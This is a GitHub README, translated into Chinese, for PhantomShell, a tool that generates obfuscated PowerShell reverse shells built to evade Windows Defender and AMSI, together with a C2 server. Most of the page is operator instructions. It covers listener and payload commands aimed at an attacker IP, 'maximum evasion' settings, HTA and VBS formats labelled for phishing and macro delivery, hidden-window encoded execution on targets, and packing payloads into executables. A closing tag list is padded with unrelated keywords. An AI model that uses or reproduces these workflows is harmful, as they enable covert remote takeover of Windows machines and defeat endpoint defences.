Adrilaw/PhantomShell
GitHub: Adrilaw/PhantomShell
这是一个集成了高级载荷生成与轻量级C2服务的框架,旨在通过混淆与编码技术绕过Windows Defender和AMSI检测,建立隐蔽的PowerShell反向Shell。
Stars: 18 | Forks: 2
# 👻 PhantomShell

### 高级 PowerShell AV / AMSI 规避框架 + 企业级 C2 服务器
专为**授权渗透测试和对手模拟**设计的红队框架。
PhantomShell 将**高级 PowerShell 载荷生成器**与**轻量级命令与控制 (C2) 基础设施**相结合,使红队操作员能够生成载荷、托管载荷并管理反向 shell 会话。
# 👻 什么是 PhantomShell?
PhantomShell 生成**经过混淆、base64 编码的 PowerShell 反向 shell**,旨在规避**基于签名的防病毒检测和 AMSI 扫描**。
它自动执行以下任务:
- 变量混淆
- 载荷编码
- 多层执行封装
- 隐藏 IP 和端口值
- HTTP 载荷投递
- 多态载荷生成
所有这些只需通过**一个命令行工具**完成。
# 🔍 PhantomShell 是无法被检测到的吗?
没有任何工具能保证这一点。
PhantomShell 有助于规避**基于签名的检测**,但它无法绕过所有防御机制。
| 技术 | 有助于规避 | 无法规避 |
|----------|--------------------|----------------------|
| 变量重命名 | 静态签名 | 行为检测 |
| Base64 编码 | 明文扫描 | 运行时 AMSI |
| 多层封装 | 浅层分析 | 深度沙箱 |
| IP 隐藏 | 简单模式匹配 | 网络监控 |
| 多态 | 哈希检测 | AI 行为 EDR |
最佳规避配置文件:
```
--obf-profile random
--layers 3
--enc-b64
```
# 🚀 功能
## ⚡ 载荷生成
- 多层 PowerShell 编码
- 感知 AMSI 的载荷结构
- 多态载荷生成
- 随机化变量名
- 多种投递格式
## 🎮 命令与控制
- 轻量级 Python C2 服务器
- CLI 操作员 shell
- Web 仪表盘
- 多会话处理
- 远程命令执行
## 🎯 红队用途
- 反向 shell 生成
- HTTP 载荷托管
- 多态载荷变体
- 会话监控
# 🏗 架构
```
Target Machine
│
│ Reverse Shell
▼
PhantomShell C2 Server
│
├── CLI Interface
│
└── Web Dashboard
```
# ⚙ 安装
无外部依赖。
```
git clone https://github.com/adrilaw/PhantomShell.git
cd PhantomShell
chmod +x phantomshell.py
chmod +x phantomc2.py
python3 phantomc2.py --help
python3 phantomshell.py --help
```
# 🚀 快速开始
### 终端 1 — 启动 C2 服务器
```
python3 phantomc2.py --port 4444 --web-port 8080 --password RedTeam2026
```
## 有关 Phantom C2 的更多信息,请使用以下命令
```
python3 phantomc2.py --port 4444 --help
```
### 终端 2 — 生成载荷
```
python3 phantomshell.py revshell -i 10.10.10.5 -p 4444
```
在 Windows 目标机上运行生成的命令。
Shell 连接回终端 1。
# 💾 载荷生成命令参考
### 终端 2 — 生成载荷
```
python3 phantomshell.py revshell -i 10.10.10.5 -p 4444
```
复制输出并在目标 Windows 机器上运行。
# 📖 命令参考
## `revshell` — 独立载荷
```
python3 phantomshell.py revshell -i -p [OPTIONS]
```
| Flag | Short | 描述 | 默认值 |
|-----|------|-------------|--------|
| `--attacker-ip` | `-i` | 攻击者 IP | 必需 |
| `--port` | `-p` | 监听端口 | 必需 |
| `--obf-profile` | `-o` | minimal/aggressive/random | aggressive |
| `--layers` | `-l` | 编码层数 | 1 |
| `--format` | `-f` | 载荷格式 | powershell |
| `--enc-b64` | | 隐藏 IP 和端口 | off |
| `--keep-pwd` | | 显示 CWD | off |
| `--do-not-hide` | | 禁用隐藏标志 | off |
| `--verbose` | `-v` | 详细输出 | off |
## 示例
基础载荷
```
python3 phantomshell.py revshell -i 10.10.10.5 -p 4444
```
最大规避
```
python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -o random -l 3 --enc-b64
```
HTA 载荷
```
python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -f hta -l 2
```
CMD 封装器
```
python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -f cmd
```
详细模式
```
python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -v
```
# 🌐 `server` — HTTP 载荷托管
启动 HTTP 服务器并打印下载加载器。
```
python3 phantomshell.py server -i -p
```
| Flag | 描述 | 默认值 |
|-----|-------------|--------|
| `-i` | 攻击者 IP | 必需 |
| `-p` | 反向 shell 端口 | 必需 |
| `--server-port` | HTTP 端口 | 8000 |
| `-o` | 载荷文件名 | 随机 |
| `--layers` | 编码层数 | 1 |
| `--enc-b64` | 隐藏 IP/端口 | off |
示例:
```
python3 phantomshell.py server -i 10.10.10.5 -p 4444
```
目标执行:
```
powershell -NoP -sta -NonI -W Hidden -enc
```
# 🔄 `polymorph` — 多态载荷生成器
生成多个唯一的载荷变体。
```
python3 phantomshell.py polymorph -i -p
```
示例:
```
python3 phantomshell.py polymorph -i 10.10.10.5 -p 4444 -n 5
```
输出示例
```
Variant 1 profile=minimal FP:B0CCA4CD
Variant 2 profile=aggressive FP:06F530B1
Variant 3 profile=random FP:A273D56F
```
# 🎯 混淆配置文件
### minimal
```
$client → $c
$stream → $st
$bytes → $b
```
快速且可读。
### aggressive
```
$client → $xA1
$stream → $xB2
$bytes → $xC3
```
默认配置文件。
### random
```
$client → $mKpRx
$stream → $zQ6v8A6
$bytes → $hySOJ
```
每次运行均不同。
# 🧅 编码层
| 层级 | 描述 |
|------|-------------|
| 1 | utf-16le base64 |
| 2 | 由 IEX 封装的 base64 |
| 3 | 多阶段 base64 解码 |
载荷在输出前经过验证。
# 📦 输出格式
| 格式 | 用途 |
|------|------|
| powershell | 直接执行 |
| cmd | cmd 注入 |
| hta | 钓鱼 |
| vbs | 宏投递 |
| mshta | 单行执行 |
# 🎯 示例攻击工作流
```
# Listener
python3 phantomc2.py --port 4444 --web-port 8080 --password RedTeam2026
# Generate payload
python3 phantomshell.py server -i 10.10.10.5 -p 4444 -l 2
# Execute on target
powershell -NoP -sta -NonI -W Hidden -enc
```
# 🪟 构建可执行文件
按照以下步骤生成载荷并将其转换为独立的 Windows 可执行文件 (.exe):
1. 生成脚本
使用 PhantomShell 生成您的初始代码。确保根据您的目标环境正确配置输出。
2. 另存为 PowerShell
代码生成后,将其复制并保存到一个新的文本文件中。
### 重要:您必须使用 .ps1 扩展名保存文件(例如,payload.ps1)。
3. 转换为可执行文件 (.exe)
为了使脚本具有可移植性并绕过某些执行策略限制,请使用 PowerShell to exe/msi Converter 进行转换。
下载工具:PowerShell to exe/msi Converter (Microsoft Store)
# 步骤:
### 1.打开转换器应用程序。
### 2.选择您的 .ps1 文件作为源。
### 3.单击 Build 按钮生成 .exe 文件。
### 4.生成的文件现在可以通过双击图标在 Windows 系统上运行。
# 🛡 安全注意事项
仅在**授权环境**中使用。
建议:
- 防火墙限制
- HTTPS 代理
- 强身份验证
- 基础设施轮换
- 日志监控
# ⚠ 法律免责声明
本软件**仅用于授权网络安全测试**。
未经授权的使用可能违反计算机犯罪法律。
作者**对滥用不承担任何责任**。
# 📝 许可证
PhantomShell 根据 [GNU General Public License](LICENSE) 和 [PhantomShell Commercial License](C-LICENSE) 获得许可 - 详情请参阅 LICENSE 文件。
# 👨💻 作者
**Dodin Mel Adrien Lawrence Enzo**
Offensive Security | Red Teaming
LinkedIn
https://www.linkedin.com/in/dodin-mel-adrien-lawrence-enzo-5568b91b5/
Twitter
https://twitter.com/AdrienDodin
⭐ 如果这个项目对您有帮助,请考虑给仓库加星。标签:AI合规, AMSI绕过, Base64编码, C2框架, DNS 反向解析, IPv6, OpenCanary, Payload生成器, PowerShell, Python, TGT, Windows Defender绕过, XXE攻击, 反向Shell, 命令与控制, 多态代码, 威胁检测, 安全学习资源, 攻防演练, 无后门, 混淆技术, 红队基础设施, 编程工具, 网络信息收集, 网络安全, 网络渗透, 远程代码执行, 逆向工具, 防病毒绕过, 隐私保护